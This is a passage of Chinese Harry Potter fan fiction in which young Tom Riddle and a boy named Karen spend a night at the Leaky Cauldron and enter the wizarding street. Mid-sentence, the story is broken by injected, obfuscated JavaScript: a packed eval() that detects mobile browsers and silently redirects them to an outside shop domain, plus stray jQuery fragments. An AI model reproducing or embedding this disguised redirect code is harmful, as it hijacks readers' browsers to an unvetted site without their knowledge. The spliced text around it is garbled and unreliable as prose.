破釜酒吧的房间比伍氏孤儿院的储藏室大不了多少，但温暖干燥，空气中还飘着一股淡淡的，类似木头和香料燃烧后的陈旧气味，对汤姆来说，已经堪称奢华。
卡伦似乎对这里很熟悉，他直接走向房间中央那张看起来还算宽敞的四柱床，然后像是想起了什么，转过身，看着跟在身后的汤姆，语气平淡地问了句：“只有一张床，介意吗？”
汤姆没说话，只是站在原地，目光扫过那张床，又落回卡伦脸上。他当然介意，他讨厌和任何人分享私密空间，更别提同睡一张床。但他也知道，以他们目前的处境，提出任何要求都显得可笑。
卡伦看着他那张没什么表情却写满抗拒的小脸，似乎明白了什么，也没再多说。他转身走到门边，打开门，对着走廊喊了一声什么。
不一会儿，一个穿着破旧长袍，头发油腻腻的，不停打着哈欠神情倦怠的瘦高男人慢吞吞地走了进来。他似乎很不情愿被打扰，嘴里含糊地抱怨着，目光扫过房间里的两个小孩，尤其是在汤姆那身破旧麻瓜衣服上停留了一瞬，眼中闪过一丝不易察觉的轻蔑。
“什么事？快点说。” 男人的声音沙哑，带着浓浓的不耐烦。
卡伦指着那张床说：“麻烦把床分开。”
男人挑了挑稀疏的眉毛，咕哝了一句：“事真多……” 但他还是从袖子里掏出了一根细细长长的、打磨光滑的木棍——后来汤姆才知道这是魔杖。
汤姆的眼睛立刻紧紧盯住了它。
只见那男人懒洋洋地挥动魔杖，对着那张大床念了一句简短的咒语。
一道柔和的白光从魔杖尖端射出，落在床中央。紧接着，令人惊讶的一幕发生了：那张坚固的四柱床，连同上面的床垫、被褥、枕头，仿佛被一把无形的利刃从中劈开，悄无声息地，完美地一分为二，变成了两张独立的小床，中间留下了一道窄窄的缝隙。甚至连床单上的花纹都在分界处完美衔接，仿佛它们原本就是两张并排摆放的床。
汤姆的瞳孔微微放大。即使已经见识过卡伦的小把戏和那辆神奇的公交车，眼前这随意的毫不费力的魔法展示，依然再次刷新了他对力量的认知。这就是巫师吗？可以如此轻易地改变现实？
男人做完这一切，又打了个大大的哈欠，甚至没看他们一眼，转身就摇摇晃晃地离开了房间，仿佛只是随手处理了一件微不足道的小事。
卡伦对此似乎司空见惯。他走到其中一张小床边，甩掉鞋子，鞋子整齐地飞到墙边摆好，这又让汤姆的眉毛动了动，然后整个人扑到床上，像一滩融化的黄油，长长地舒了一口气。
“最近一段时间，” 他闭着眼睛，声音有些含糊，“可能要委屈你跟着我东躲西藏了。”
汤姆依旧没说话。他走到另一张小床边坐下，床垫柔软而有弹性，被子干净蓬松，是他从未体验过的舒适。他环顾着这个小小的温暖安全的房间，又看向对面床上已经闭上眼睛，呼吸渐渐平稳的卡伦。
这个人，真的太奇怪了。神秘消失又突然出现，拥有奇特的能力，似乎对巫师世界很熟悉，却又带着他一个麻瓜孤儿逃跑，现在还说可能要“东躲西藏”……他到底是谁？想干什么？
疑问很多，但疲惫感更重。小孩的身体经不起折腾，这一夜的惊吓，寒冷，新奇和奔波，早已透支了汤姆的精力。房间里的温暖像一只无形的手，轻柔地抚平了他紧绷的神经。
不知不觉间，他也歪倒在柔软的被褥里，沉沉睡去。
再醒来时，天已大亮。陌生的光线透过窗帘缝隙洒进来。汤姆难得地睡了个好觉，此刻还有些迷迷糊糊，躺在温暖的被窝里不想动。
卡伦还没醒，侧身蜷缩着，金发凌乱地散在枕头上。
过了一会儿，汤姆才完全清醒，想起该洗漱了。他坐起身，环顾这个陌生的房间，没看到盥洗室在哪里。
他正犹豫着要不要叫醒卡伦，或者自己摸索一下，卡伦却动了。他眼睛还半闭着，似乎根本没完全醒来，只是凭着本能，晃晃悠悠地从床上爬起来，径直走向一面看起来平平无奇的墙壁，伸手在某块砖上按了一下。
墙壁无声地滑开，露出后面一个小小的，设施齐全的盥洗室。
汤姆抿了抿唇，他沉默地看着这一切。
卡伦梦游般走进去，拿起牙刷。牙膏盖子自己弹开，恰到好处的膏体自动挤在了牙刷毛上。他顺手将这支挤好牙膏的牙刷递给了站在门口的汤姆，然后又拿起另一支，同样的事情再次发生。
接着，他拧开水龙头，流出的水温热适中。他胡乱地抹了把脸，刷了牙，漱口，整个过程眼睛都没完全睁开，动作流畅得像演练过千百遍。
做完这一切，他将毛巾挂好，又梦游般晃了出来，开始慢吞吞地穿衣服。
汤姆拿着那支挤好牙膏的牙刷，站在盥洗室门口，看了看里面干净整洁的设施，又看了看外面那个依旧困得直打呵欠的卡伦，一时有些无言。
他走进盥洗室，对着镜子开始洗漱。清凉的水和薄荷味的牙膏让他彻底清醒。当他刷完牙，看着镜子里自己变得格外洁白的牙齿时，心里再次涌起那种奇异的感觉。
魔法，真是神奇。
走出盥洗室，卡伦已经穿戴整齐了。他换了一身看起来更厚实些的深色衣服，但脸色似乎比昨晚更加疲惫，眼底下有淡淡的青影，不停地打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708138|208351||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着呵欠。
早餐是放在房间门口的，用一个托盘装着。有热牛奶，煎蛋，香肠，烤得金黄的吐司，还有一小碟果酱。分量很足，味道也远比孤儿院的食物好得多。两人沉默地吃完。
卡伦将空了的餐具放到房间角落的一个小架子上。汤姆注意到，当卡伦的手离开后，那些餐具连同托盘，闪烁了一下微光，然后瞬间消失不见了。
又是魔法。汤姆已经有些麻木了。
吃完早餐，卡伦站起身，对着汤姆伸出手，掌心向上。“走吧。”
这一次，汤姆几乎没有犹豫，很快地将自己凉凉的手放进了卡伦温暖的掌心。这只手似乎总能带来一种奇异的安定感。
卡伦拉着他，走出房间，穿过依旧弥漫着古怪气味的破釜酒吧大堂，来到了酒吧后面一个堆满空木桶和杂物的狭窄小天井。
这里只有一面光秃秃的砖墙。
卡伦松开汤姆的手，走上前，从口袋里掏出一根……汤姆认出那是昨晚那个男人用过的魔杖，不过看起来更旧一些。卡伦用魔杖的尖端，在墙上某几块砖上，以一种特定的节奏轻轻敲击了几下。
哒，哒，哒哒，哒。
敲击声刚落，奇迹发生了。
那面原本严丝合缝的红砖墙，忽然像活了过来一样，砖块开始蠕动、旋转、重组，发出轻微的、令人牙酸的摩擦声。几秒钟后，一个宽阔的拱门在墙壁中央赫然出现，通往一条蜿蜒曲折、由鹅卵石铺就的街道，街道两旁是鳞次栉比的，造型奇特的店铺，高耸的尖顶和古怪的招牌在晨光中清晰可见。
汤姆的呼吸停止了。他呆呆地看着眼前的景象，仿佛看到了一个全新的，只存在于最荒诞梦境中的世界豁然洞开。
卡伦似乎对他的反应习以为常，他重新拉住汤姆的手，一边往里走，一边用那种带着点疲惫但依旧平静的语气说：“今天圣诞节，可能没什么店开着……先进去再说。”
汤姆被他拉着，机械地迈步，踏入了那条神奇的街道。
许多年以后，当汤姆·马沃罗·里德尔早已习惯并掌控了魔法世界的一切，当他站在纯血统的巅峰俯瞰众生时，他偶尔，还是会想起那个落雪的平安夜之后，在破釜酒吧后院看到的景象。
那面活动的砖墙，那条初次展现在他面前光怪陆离的巫师街道，空气里陌生的魔药和神奇动物混合的气味，还有……走在他身前，牵着他的手，用平淡语气说出那句话的金发男孩。
那句话，在那个清晨，像一道闪电，劈开了他灰暗童年中所有关于异常和不同的困惑与恐惧，为他指明了全新的充满力量与可能的道路。
“欢迎来到巫师世界。”